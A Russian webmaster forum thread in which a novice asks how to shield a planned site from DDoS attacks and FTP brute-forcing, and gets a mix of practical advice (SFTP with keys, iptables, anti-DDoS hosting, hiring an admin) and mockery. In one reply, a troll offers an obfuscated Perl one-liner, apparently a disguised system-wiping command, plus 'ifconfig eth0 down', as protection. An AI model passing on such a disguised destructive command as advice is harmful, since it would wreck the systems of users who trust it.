Делаю сайт и за ранее знаю, что на него будут нападать конкуренты.
Будут ломать фтп и возможно будут ддосить.

По ддосу думаю, что можно отсеять часть айпишников разных стран, т.е. запретить доступ всем айпи кроме указанного интервала от и до. Каким способом это лучше всего реализовать и будет ли это эффективно при не очень широком диапазоне допустимых айпи?

Что делать с взломом фтп? Может если 5 раз за минуту неправильно введен пароль с любого айпи, то закрывается доступ к фтп вообще на пол часа? Как такое можно реализовать?

Может есть какая хостинговая компания, которая обеспечивает безопасность от таких атак? Может лучше под это сервер надо?
Вот гугла и яндекса же нельзя заддосить? Почему?

Может еще какие есть толковые способы?:corn:

я че то не пойму.. первое сентября вроде уже прошло?

я че то не пойму.. первое сентября вроде уже прошло?

очень информативный ответ
спасибо

Делаю сайт и за ранее знаю, что на него будут нападать конкуренты.
Будут ломать фтп и возможно будут ддосить.

По ддосу думаю, что можно отсеять часть айпишников разных стран, т.е. запретить доступ всем айпи кроме указанного интервала от и до. Каким способом это лучше всего реализовать и будет ли это эффективно при не очень широком диапазоне допустимых айпи?

Что делать с взломом фтп? Может если 5 раз за минуту неправильно введен пароль с любого айпи, то закрывается доступ к фтп вообще на пол часа? Как такое можно реализовать?

Может есть какая хостинговая компания, которая обеспечивает безопасность от таких атак? Может лучше под это сервер надо?
Вот гугла и яндекса же нельзя заддосить? Почему?

Может еще какие есть толковые способы?:corn:

открой фтп только для своего ипа.
фтп сервак можно настроить так чтобы можно было ошибиться один раз при вводе пасса.
можно собрать геомодуль для iptables и отсеять страны на фаервола (по поводу ддоса).

Дак что непонятного то?
1. Сервер без варинатов
2. Антидос например у yeshost
3. Не ставить ФТП
4. Одмин
5. Оплатить поиск уязвимостей

1) взять хостинг с защитой от ДДоСа (например у ЙесХоста).
2) попросить отключить фтп нахуй.

Максимус опередил :)

yeshost.ru
или
yeshost.com

http://yeshost.ru/antiddos

DDOS до 10Gbps

это очень много, и имхо довольно дешево

5. Оплатить поиск уязвимостей

и скока вот этот сервис стоит? и кто может квалифицированно оказать эту услугу?

и скока вот этот сервис стоит? и кто может квалифицированно оказать эту услугу?

iSeoBot шарит.
Ну и поспрашивай на бордах хакерских.

а "Root пароль" на сервере поломать могут?
как защитить?

ifconfig eth0 down
хорошее подспорье платным антиддос системам

от сбручивания рута поможет

perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

а серьезно

- выключи фтп
- ssh (sftp будешь юзать) повесь на какой нибудь 10503 порт, убери авторизацию по паролю, включи авторизацию по ключам

все

а серьезно

- выключи фтп
- ssh (sftp будешь юзать) повесь на какой нибудь 10503 порт, убери авторизацию по паролю, включи авторизацию по ключам

все

что за ключи?

вот мне еще насоветовали ознакомиться с типами ддос атак
http://www.antiddos.org/index.php/2008-04-22-11-38-15/34-2008-04-22-13-12-41/74--ddos-
http://www.team-cymru.org/Monitoring/Graphs/
типа чтоб хотя бы околовсячески знать мат часть

пиздец, а админа купить не?

пиздец, а админа купить не?

а где его купить?
вот что-то типа руководства для админа
http://www.antiddos.org/index.php/2008-04-22-11-38-15/34-2008-04-22-13-12-41/83-ddos-------linux---ddos-
читаю и половины не понимаю
где эти iptables писать?
iptables --new-chain car
iptables --insert OUTPUT 1 -p tcp --destination-port 80 -o eth0 --jump car
iptables --append car -m limit --limit 20/sec --jump RETURN
iptables --append car --jump DROP

SYN|ACK - что это?

nginx, lighttpd - непонятные термины

у инферно админ есть умный и вроде б недорого

рекомендую тебе почитать соседний тред где демократизатор нечаянно уебал весь сервак

так вот, демократизатор на порядок лучше тебя разбирается в администрировании серверов.

так вот, демократизатор на порядок лучше тебя разбирается в администрировании серверов.

да я ж не претендую на звание топ админа
у меня есть задача и мне нужно ее решение

я к тому что даже такой неглупый человек как демо уебал сервак легким движением руки

если ты впервые видишь слова iptables, nginx, syn, ack - занялся лучше б своим делом, а не ставил антидос на боевой сервер

я к тому что даже такой неглупый человек как демо уебал сервак легким движением руки

если ты впервые видишь слова iptables, nginx, syn, ack - занялся лучше б своим делом, а не ставил антидос на боевой сервер

админа нанять надо, но понимать что происходит все равно придется

все можно сненсти одним движением руки, но как мне когда-то один мой знакомый сказал, когда я в очередной раз прибежал к нему просить помочь переустановить мне 95ю винду. Я эту фразу потом повторял ни одному человеку: "пока сам не отвоюешь, так и будешь бегать просить помочь"

так на самом деле оно и есть!

значит тебе нихуя не важен твой мега проект который будет там крутиться, иначе ты бы не выебывался

ставь дома генту основной системой, ручками, научишься

если я например тачку уебал - я ее отдам в сервис потому что если сам буду чинить - долго она не проживет
если мне надо диз рисовать - я отдам лаве креативным чувакам

просто системный администратор - это нихуя не тыкмык по кнопочкам в гуе щелкать

чувак, если тебе грозит 10гбит, нахуя ты читаешь чо надо делать, ифконфиги и тп?

админа в зубы и вперед, есть, спамились специалисты.

фтп нахуй, сцп и ключи юзать

антиддос через железки... ток ты правда листать за него устанешь. это не детский сад и цены ниразу.

собственно отсюда и вполне логичный второй пост в топике.

никто не даст ему 10гбит, он помоему обкурок обычный

да хуля тут обсуждать, читайте мой первый пост в топике :))

никто не даст ему 10гбит, он помоему обкурок обычный

хватит ругаться

админа в зубы и вперед, есть, спамились специалисты.

антиддос через железки... ток ты правда листать за него устанешь. это не детский сад и цены ниразу.

собственно отсюда и вполне логичный второй пост в топике.

где найти и как определить квалификацию специалиста?
и сколько этот железный антиддос стоит?

вот у этих какие-то защиты:
http://www.antiddos.org/index.php/servises/dedicated-servers
а у этих http://yeshost.ru/antiddos самая невменяемая защита стоит 3600 евро в мес.

попробую вежливо:

даже если мы поверим что на тебя будет идти 10гбит 24/7, то никому нахуй не нужно просто будет тебя хостить. либо за суммы от указанной тобой и выше

попробую вежливо:

даже если мы поверим что на тебя будет идти 10гбит 24/7, то никому нахуй не нужно просто будет тебя хостить. либо за суммы от указанной тобой и выше

логично!
тогда оптимальное решение, если известно, что противники богатые черти и вероятность атаки очень велика?

админ скажем будет, скажем толковый, сервер будет с защитой
все равно ж положат сайт?
вон на других форумах народ говорит Почему нельзя гугл и яндекс заддосить ?))) Кто вам такое сказал ?))) дайте денег - мы вам и пентагон положим)))
А у кого рука поднимется такие великие ресурсы ронять?))
На самом деле у них просто мощное "железо".

твой - положат
гугл нет

Человек способный сделать проект настолько сильно мешающий таким богатым конкурентам, не будет задавать таких вопросов.

Мне кажется ты продаёшь свой никому не нужный fill.txt генеря бессмысленные посты.

твой - положат
гугл нет

вот и я о том же

У гугла и яндекса собственные мощные сервера, аппаратная ддос защита и огромный пропускной канал

убухать неоправданное количество средств, а результат будет тот же что и с $0,99 в мес хостингом
что же делать? :eek:

прекрати мозг ебать уже

что ты хочешь то?

прекрати мозг ебать уже

что ты хочешь то?

уже не знаю
информацию я нужную получил, теперь надо подумать
сайт то все равно нужен!
но решения у меня пока реального нет
и не только у меня, как я понял

хаха ха ха

но решения у меня пока реального нет
и не только у меня, как я понял

Как дальше жить? =(

Парни, да не реагируйте вы на него. Он пишет бред какой-то, ибо нормальный человек уже бы давно понял, что ему нужен админ, и на этом все.

если будет ДДоС 10Гбит/c то там 1 сервером не отделаешься ... там по любому какой нить мощный кластер нужен ... :) а хардварное решение будет по любому нереально дорогое ...

а создателю топика ... просто нужен админ которые воевал с таким ДДосами ... который за бабло ответить на все его вопросы ...

имхо данный форум мне кажеться не тем местом где могут толково ответить на твои вопросы ... да и никто не будет просто так тебе расжевывать что и как нужно сделать ...

Что мешает купить администрируемый сервер типа вебазиллы (сам юзаю) и забить болт на это администрирование? Они там сами всё сделают, и всё будет в порядке.

http://webazilla.com/

System Administrator

Requirements:
- Cisco certification.
- Experience working with UNIX systems (5+ years).
- Good knowledge of FreeBSD, Linux, (Debian especially) and Solaris.
- Good understanding and comprehension of the foundations and organization of security.

Type:
Full Time / Part Time
Working locally or from a remote location are both possible for this position.

у них админы удаленщики с опытом работы 5 лет с пониманием основ и принципов безопасности?
спавится ли такой человек с задачей? не зассытся ли он с телками в кабаке в самый ответственный момент?

вот еще удаленщики предоставляют свои услуги http://aka-root.com/ за 100$/Месяц

http://www.free-lance.ru/freelancers/?prof=131
тут ваще по 1500-3000 в мес админы

http://yeshost.ru/contact
а как тут у них с админами?

1500-3000 это на фултайм с соцпакетом и отпуском :))

1500-3000 это на фултайм с соцпакетом и отпуском :))

хе хе
еще и путевку на 2 недели ему на море летом выдавай? ))

бля, такого бреда давно не читал.
Воскресенье - хорошее настроение.
дайте мне контакт на ддос в 10гбит за "дешево"=)))))

бля, такого бреда давно не читал.
Воскресенье - хорошее настроение.
дайте мне контакт на ддос в 10гбит за "дешево"=)))))

http://otdel-k.spb.ru/contact.html

http://otdel-k.spb.ru/contact.html


я сразу не буду, тут все в курсе просто о этом вопросе. а 30гбит они могут?

Да хрен с ним с 10ю.
Дайте контакт хотя бы на 5!

бля, такого бреда давно не читал.
Воскресенье - хорошее настроение.
дайте мне контакт на ддос в 10гбит за "дешево"=)))))

понятия за дешево относительно
для тебя 10к не дешево, для кого-то не дорого
есть задача и способы ее реализации

понятия за дешево относительно
для тебя 10к не дешево, для кого-то не дорого
есть задача и способы ее реализации

в РФ 10Гбит ддоса примерно 2-а провайдера всего выдержит.

что ж там за проект то)

fuckingshocking 2 :))

Новый убийца гугла. Но автор жжот, такого бреда действительно давно не было ))))

просто чтобы сделать 10гбит ддоса - надо около 30к ботов.
таких людей по пальцам пересчитать можно.

просто чтобы сделать 10гбит ддоса - надо около 30к ботов.
таких людей по пальцам пересчитать можно.

Ага, по всем двум :)

что такое бред?
http://slovari.yandex.ru/dict/bse/article/00010/19300.htm?text=%D0%B1%D1%80%D0%B5%D0%B4&encid=bse&stpar1=1.1.1
на всякий случай, чтоб не быть голословным.

Хочу выразить всем участвовавшим огромную благодарность за сотрудничество и информационную помощь! Примерные представления о данной проблеме и основные пути ее решения я получил в кратчайшие сроки, что было очень важно для меня. Спасибо ребята. :)

зы проект белее некуда. может как-нибудь кому-нибудь расскажу...

белый проект? и ддос на 10 гбит. ну-ну

зы проект белее некуда. может как-нибудь кому-нибудь расскажу...
будем с нетерпением ждать! (http://lurkmore.ru/Всем_похуй)

белый проект? и ддос на 10 гбит. ну-ну

возможно ддоса вообще не будет, но вероятность есть.
в случае атаки я теперь знаю, что примерно делать
не люблю быть не готовым

Да шоп там будет! По продаже тюненый fill.txt и базы для апостера :))

помимо доса тебя найдут как уебать

Да шоп там будет! По продаже :))

хе хе
ддос 10гбит/с на сео шоп )) гг ))

нет, это вообще не из области сео. ничего общего
гадать не стоит

модератор нажимай кнопку "закрыть тему"

будем с нетерпением ждать! (http://lurkmore.ru/Всем_похуй)

Отжег... :d

digg, заканчивай))

тут нет кнопки "бан за личный идиотизм", но модератор повод найдет.
вмемориз в раздел юмор что ли.....

ыхыхы
зачем его банить? такой чудесный топик!

действительно )))
http://www.youtube.com/watch?v=jMdxOsB9bEc

хорошая песня, кстати, наизусть знаю с 3 лет. Напомнила мне о далёком детстве

хорошая песня, кстати, наизусть знаю с 3 лет. Напомнила мне о далёком детстве

Песня-то хорошая, но а к чему она в этом топике? :))

ТС все еще занимается самобичеванием :))

просто чтобы сделать 10гбит ддоса - надо около 30к ботов.
таких людей по пальцам пересчитать можно.

не. он боится что гуглботы устроят ему ддос :hi:

ТС все еще занимается самобичеванием :))

Он соревнуется с СуперДоктором: чей топик будет длиннее - size does matter. :))